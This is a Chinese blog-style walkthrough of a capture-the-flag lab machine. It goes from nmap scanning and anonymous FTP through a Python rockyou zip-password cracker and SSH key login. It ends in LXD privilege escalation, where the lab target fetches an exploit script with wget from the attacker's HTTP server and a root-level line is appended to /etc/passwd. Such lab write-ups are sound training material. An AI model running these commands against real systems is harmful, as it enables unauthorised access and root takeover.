**写在前面:**这应该是本人第一次自主成功完成的打靶,纪念一下下。
目录
- 1. 主机发现
- 2. 端口扫描
- 3. 服务枚举
- 4. 服务探查
- 4.1 Apache探查
- 4.1.1 浏览器访问
- 4.1.2 站点地图查看
- 4.1.3 目录枚举
- 4.1.4 公共EXP搜索
- 4.2 FTP探查
- 4.2.1 手工登录FTP
- 4.2.2 公共EXP搜索
- 4.2.3 密码爆破
- 5. 突破边界
- 6. 提权
- 6.1 探查用户的home
- 6.2 探查/etc/passwd
- 6.3 搜索可执行文件。
- 6.4 枚举操作系统信息
- 6.5 搜索公共EXP
- 6.6 利用公共EXP
- 6.6.1 解除shell限制
- 7. 获取flag
- 8. 补充信息
1. 主机发现
当前只知道靶机所在的网段是192.168.56.0/24,其它一概不知,因此先进行一下这个网段的主机发现。
$ nmap -sP 192.168.56.0/24
2. 端口扫描
56.103应该就是我们的目标靶机,既然找到了IP地址,那就做一下全端口扫描吧。
$ sudo nmap -p- 192.168.56.103
额,貌似扫挂了,先扫一下常见的22和80端口试试看。
$ sudo nmap -p22,80 192.168.56.103
额,两个端口都命中了,那就分段扫描一下前20000个端口试试看。
这次扫描没有挂掉,前20000个端口只有21/22/80是开放的,暂时就这些吧。
3. 服务枚举
通过下面的命令,查看一下这三个端口上分别运行的什么服务。
$ sudo nmap -p21,22,80 -sV 192.168.56.103
这样,我们就获得了ftp服务和http服务的版本信息,并且目标靶机的系统大概率是Ubuntu。接下来我们会逐个探查一下apache和ftp服务,实在无法突破的时候再探查ssh,因为ssh相对难利用。
4. 服务探查
4.1 Apache探查
4.1.1 浏览器访问
直接通过浏览器访问一下80端口,看看有没有我们感兴趣的信息。
感觉是Ubuntu上默认的Apache2的主页,除了Apache2 Ubuntu之外,没有更多感兴趣的信息。
4.1.2 站点地图查看
分别通过浏览器访问一下http://192.168.56.103/robots.txt和http://192.168.56.103/sitemap.xml看看能不能获得站点地图信息。
嗯,有个log目录,再试试sitemap.xml,不过robots有了,这个基本就没戏了,但是还是访问一下看看。
得到了一点点信息,Apache的版本是2.4.29。
4.1.3 目录枚举
站点地图里面没有发现太多有价值的内容,通过dirsearch和nikto进行一下目录枚举试试看。
$ dirsearch -u http://192.168.56.103
$ nikto -h http://192.168.56.103
尽管发现了一些站点信息,但是貌似价值不大,尤其是还403了。既然知道了版本信息是Apache 2.4.29,那我们还是简单搜索一下公共EXP吧,看看有没有该版本在Ubuntu上的漏洞。
4.1.4 公共EXP搜索
并没有找到靠谱的匹配EXP,暂时把Apache放在一边,下面开始探查FTP服务。
4.2 FTP探查
4.2.1 手工登录FTP
这没啥好说的,命令行手动登录看看吧。
竟然可以匿名登录,并且还有不少文件在里面,那就先都下载下来仔细看看吧。
welcome.msg貌似是个模板邮件,没有实际内容。
对于其它的zip文件,全都加密了,需要私钥才能解密,如下图。
4.2.2 公共EXP搜索
黔驴技穷了,搜索一下这个FTP服务版本的公共EXP试试看。
我们的版本是1.3.5e,搜索出来的版本中最接近的是1.3.5,既然无计可施,那就死马当活马医吧,先用第二个试试看。先拷贝代码到当前目录。
检查代码无问题,运行一下看看。
发现这个exp问题较多,运行不起来,可能是因为针对1.3.5的,而我的目标版本是1.3.5e,为了验证猜想,上网搜索了一下,果真如此。
既然1.3.5a就已经把这个漏洞修复了,1.3.5e就不用多想了。
4.2.3 密码爆破
既然没有线索,那就用kali上的rockyou密码字典爆破一下,看看能不能找到zip文件的解包密码吧。
先写一个破解zip的小脚本吧,这里重点参照了Crossin先生的一篇文章(https://cloud.tencent.com/developer/article/1806690)。基本原理就是利用rockyou字典对zip文件进行逐个爆破,可运行的代码如下。
#!/usr/bin/env python
import zipfile
import itertools
import queue
from concurrent.futures import ThreadPoolExecutor
class BoundedThreadPoolExecutor(ThreadPoolExecutor):
def __init__(self, max_workers=None, thread_name_prefix=''):
super().__init__(max_workers, thread_name_prefix)
self._work_queue = queue.Queue(self._max_workers * 2) # 设置队列大小
def get_word_list(file):
word_file = open(file, 'r', encoding='ISO-8859-1')
word_list = []
words = word_file.readlines()
word_file.close()
for i in range(len(words)):
word_list.append(words[i].strip('\n'))
word_file.close()
return word_list
def extract(file, password):
if not flag: return
file.extractall(path='.', pwd=''.join(password).encode('utf-8'))
def result(f):
exception = f.exception()
if not exception:
# 如果获取不到异常说明破解成功
print('密码为:', f.pwd)
global flag
flag = False
if __name__ == '__main__':
# 创建一个标志用于判断密码是否破解成功
flag = True
# 创建一个线程池
# pool = ThreadPoolExecutor(100)
pool = BoundedThreadPoolExecutor(5)
# nums = [str(i) for i in range(10)]
# chrs = [chr(i) for i in range(65, 91)]
# # 生成数字+字母的6位数密码
# password_lst = itertools.permutations(nums + chrs, 6)
password_list = get_word_list("./test.txt")
# 创建文件句柄
zfile = zipfile.ZipFile("./test.zip", 'r')
for pwd in password_list:
if not flag: break
f = pool.submit(extract, zfile, pwd)
f.pwd = pwd
f.pool = pool
f.add_done_callback(result)
先准备一个测试用的zip文件和密码字典验证一下可行性,比较完美。
接下来加载真正的rockyou文件爆破anna.zip,完犊子了,使用rockyou没有找到正确的密码;不管了,加大一下kali虚拟机的内存和CPU,就用rockyou,逐个zip包爆破一把,说不定某个zip就能解密呢。
果然,在爆破tom.zip的时候,诡异的事情出现了,爆出了一系列密码。
说它诡异是因为爆出来的密码不唯一,不应该啊,一个zip还能有这么多密码可以解密?先试试前两个密码再说吧。
我勒个去,解密出来的竟然是个密钥,这很有可能是用户tom通过ssh登录靶机的密钥,加密后备份在FTP上了。由于太诡异,先用第二个密码解密tom.zip试试看。
这个密码是错的,不用多想了,估计后面几个都是错误的密码,可能我的密码爆破脚本还有点小问题,不过我们已经得到密钥了,这里暂且放一边,以后有时间再研究。
5. 突破边界
直接在kali上尝试用前面解密出来的密钥携带tom用户ssh到靶机。
$ ssh -i id_rsa tom@192.168.56.103
完美突破边界,下面开始提权。
6. 提权
6.1 探查用户的home
先看看当前用户的home目录下有些啥。
有几个比较有意思的文件,如.bash_history、.bash_logout、.mysql_history,这几个文件中有可能隐藏着一些我们感兴趣的敏感信息,待会儿没有思路的时候记得来查看一番。
6.2 探查/etc/passwd
查看一下/etc/passwd文件中有哪些用户。
除了我们之前发现的ftp之外,还有个mysql用户,这说明这个主机上可能有mysql服务。
先尝试看看能不能直接在/etc/passwd下面添加一个新用户吧。
先给要创建的用户生成一个密码。
tom@funbox2:~$ openssl passwd test123
然后新创建一个testusr用户,密码用前面openssl生成的,其它信息跟root完全一致。
tom@funbox2:~$ echo "testusr:H0dMgLZQ3cnRo:0:0:root:/root:/bin/bash” >> /etc/passwd
嗯,权限受限制,不可以这么搞。
说明:到这里,我们可以得知当前tom用户的shell是受限制的,有些操作没法执行,也可以在这里尝试解除当前用户tom的shell限制;其实有很多linux下解除shell限制的方式,这里暂时不讨论(因为在这里我也没解除限制),有兴趣的读者可以自行搜索。
6.3 搜索可执行文件。
用下面的命令,搜索一下root用户所有的,其它用户可读可写的可执行文件。
tom@funbox2:~$ find / -type f -user root -perm -o=w 2>/dev/null
仍然权限不足,只能想其它招了。
6.4 枚举操作系统信息
通过下面的命令枚举一下操作系统信息,看看能不能从特定版本的漏洞进行提权吧。
tom@funbox2:~$ cat /etc/*-release
6.5 搜索公共EXP
根据上述信息,看看有没有对应的提权漏洞代码可以利用。
精简一下搜索关键字,再试一把。
貌似还真有个18.04版本的提权漏洞(倒数第三个)。
6.6 利用公共EXP
把代码拷贝到本地,查看一下,貌似还挺简单的,基于代码中的提示步骤(如下图)试试看吧。
在kali主机上直接运行下面的命令,把build-alpine拷贝到本地。
$ wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
根据上面漏洞利用代码的指示,在kali上使用root用户进行build。
虽然执行的磕磕绊绊,最终还是build出来了,build结束后,当前目录下会多一个如下图所示的tar包,看看能不能用再说。
退出root用户(要养成好习惯,及时退出root用户),在当前目录建立http服务。
$ python3 -m http.server 80
从靶机上下载我们build好的文件。
额,攻击机和靶机不再一个网段,一个在virtual box,一个在VMware,重新配置kali跟靶机在一个网段,然后再试,OK。
用同样的方法,把kali上的exp脚本46978.sh上传到目标靶机。
tom@funbox2:~$ wget http://192.168.56.105/46978.sh
给我们的EXP和alpine充足的权限。
tom@funbox2:~$ chmod 777 46978.sh
tom@funbox2:~$ chmod 777 alpine-v3.17-x86_64-20230119_0234.tar.gz
通过下面的命令进行提权。
tom@funbox2:~$ ./46978.sh -f alpine-v3.17-x86_64-20230119_0234.tar.gz
还是因为shell的限制,没法执行“/”指令。竟然报错了,调整一下。
tom@funbox2:~$ sh 46978.sh -f alpine-v3.17-x86_64-20230119_0234.tar.gz
额,还是有错误,打开检查一下看看。这个脚本在kali上没有问题,可能还是目标靶机的shell限制问题。
6.6.1 解除shell限制
既然靶机允许cp命令,那就复制一个bash到当前目录试试。
tom@funbox2:~$ cp /bin/bash ./
然后用新拷贝的bash执行脚本。
tom@funbox2:~$ bash 46978.sh -f alpine-v3.17-x86_64-20230119_0234.tar.gz
OMG,执行成功了。
7. 获取flag
看看当前用户的id,并获取一下flag。
竟然没有flag,不应该啊。尝试用下面的命令搜索一下全盘。
~# find / -name root.txt 2>/dev/null
~# find / -name flag>/dev/null
~# find / -name proof 2>/dev/null
竟然搜索结果都是空的,可是命名提权成功了啊,显示的当前用户也是root。
那就继续研究一下刚才的EXP代码吧,果然有新的发现,怪我之前没看仔细。
主机的文件在/mnt/root下,进到这个目录,顺利找到了flag,搞定。
8. 补充信息
其实我在爆破zip文件的时候,有些笨拙了,学艺不精。kali下有个好用的工具叫fcrackzip,可以直接进行爆破。
$ fcrackzip -u -D -p ../rockyou.txt tom.zip
比我自己写的脚本简单多啦。